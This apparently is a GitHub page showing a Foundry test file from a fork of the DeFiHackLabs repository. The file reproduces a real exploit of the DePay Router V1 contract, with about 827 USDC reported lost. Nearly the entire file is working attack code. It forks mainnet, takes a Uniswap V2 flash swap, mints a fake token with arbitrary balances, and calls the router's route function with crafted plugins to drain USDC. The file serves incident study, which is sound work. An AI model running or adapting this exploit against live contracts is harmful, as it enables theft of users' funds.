forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
DePayRouter_exp.sol
131 lines (111 loc) · 5.26 KB
/
DePayRouter_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~827 USDC
// Attacker : https://etherscan.io/address/0x7f284235aef122215c46656163f39212ffa77ed9
// Attack Contract :https://etherscan.io/address/0xba2aa7426ec6529c25a38679478645b2db5fa19b
// Vulnerable Contract : https://etherscan.io/address/0xae60ac8e69414c2dc362d0e6a03af643d1d85b92
// Attack Tx : https://etherscan.io/tx/0x9a036058afb58169bfa91a826f5fcf4c0a376e650960669361d61bef99205f35
// @Analysis
// Post-mortem : https://www.google.com/
// Twitter Guy : https://twitter.com/CertiKAlert/status/1709764146324009268
// Hacking God : https://www.google.com/
interface IDepayRouterV1 {
function route(
// The path of the token conversion.
address[] calldata path,
// Amounts passed to proccessors:
// e.g. [amountIn, amountOut, deadline]
uint256[] calldata amounts,
// Addresses passed to plugins:
// e.g. [receiver]
address[] calldata addresses,
// List and order of plugins to be executed for this payment:
// e.g. [Uniswap,paymentPlugin] to swap and pay
address[] calldata plugins,
// Data passed to plugins:
// e.g. ["signatureOfSmartContractFunction(address,uint)"] receiving the payment
string[] calldata data
) external payable returns (bool);
}
contract ContractTest is Test {
IUSDC USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IUniswapV2Pair UNIV2 = IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);
IUniswapV2Router UniRouter = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
IDepayRouterV1 DepayRouter = IDepayRouterV1(0xae60aC8e69414C2Dc362D0e6a03af643d1D85b92);
IUniswapV2Factory UniFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
uint256 amount = 1_755_923_836;
address DePayUniV1 = 0xe04b08Dfc6CaA0F4Ec523a3Ae283Ece7efE00019;
function conAddress(address address1, address address2) public pure returns (bytes memory) {
bytes32 concatenated;
assembly {
mstore(concatenated, address1)
mstore(add(concatenated, 0x14), address2)
}
return abi.encodePacked(concatenated);
}
function setUp() public {
vm.createSelectFork("mainnet", 18_281_130 - 1);
vm.label(address(USDC), "USDC");
vm.label(address(UNIV2), "UNIV2: USDC");
vm.label(address(UniRouter), "UniRouter");
vm.label(address(UniFactory), "UniFactory");
vm.label(address(DepayRouter), "DepayRouter");
approveAll();
}
function testExploit() external {
uint256 startUSDC = USDC.balanceOf(address(this));
console.log("Before Start: %d USDC", startUSDC);
UNIV2.swap(amount, 0, address(this), conAddress(address(USDC), address(DepayRouter)));
uint256 intExp = USDC.balanceOf(address(this)) / 1e6;
uint256 decExp = USDC.balanceOf(address(this)) - intExp * 1e6;
console.log("Attack Exploit: %s.%s USDC", intExp, decExp);
}
function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
uint256 amountAMin = 877_961_918;
ERC20ops();
uint256 amountA;
uint256 amountB;
uint256 liquidity;
(amountA, amountB, liquidity) =
UniRouter.addLiquidity(sender, address(USDC), 1e30, 1, amountAMin, 1, address(this), type(uint256).max);
IUniswapV2Pair newUniPair = IUniswapV2Pair(UniFactory.getPair(address(this), address(USDC)));
address[] memory path = new address[](2);
(path[0], path[1]) = (address(USDC), address(this));
uint256[] memory amounts = new uint256[](3);
(amounts[0], amounts[1], amounts[2]) = (amountAMin, 0, type(uint256).max);
address[] memory addresses = new address[](2);
(addresses[0], addresses[1]) = (address(this), address(this));
address[] memory plugins = new address[](2);
(plugins[0], plugins[1]) = (DePayUniV1, DePayUniV1);
string[] memory data = new string[](1);
DepayRouter.route(path, amounts, addresses, plugins, data);
newUniPair.approve(address(UniRouter), liquidity);
UniRouter.removeLiquidity(address(this), address(USDC), liquidity, 1, 1, address(this), type(uint256).max);
USDC.transfer(address(UNIV2), amount * 1001 / 997);
}
function approveAll() internal {
USDC.approve(address(UniRouter), type(uint256).max);
USDC.approve(address(DepayRouter), type(uint256).max);
}
function ERC20ops() internal {
balances[address(this)] = 1e30 + 1;
}
mapping(address => uint256) public balances;
function balanceOf(address account) public view virtual returns (uint256) {
return balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
balances[from] -= value;
balances[to] += value;
}
}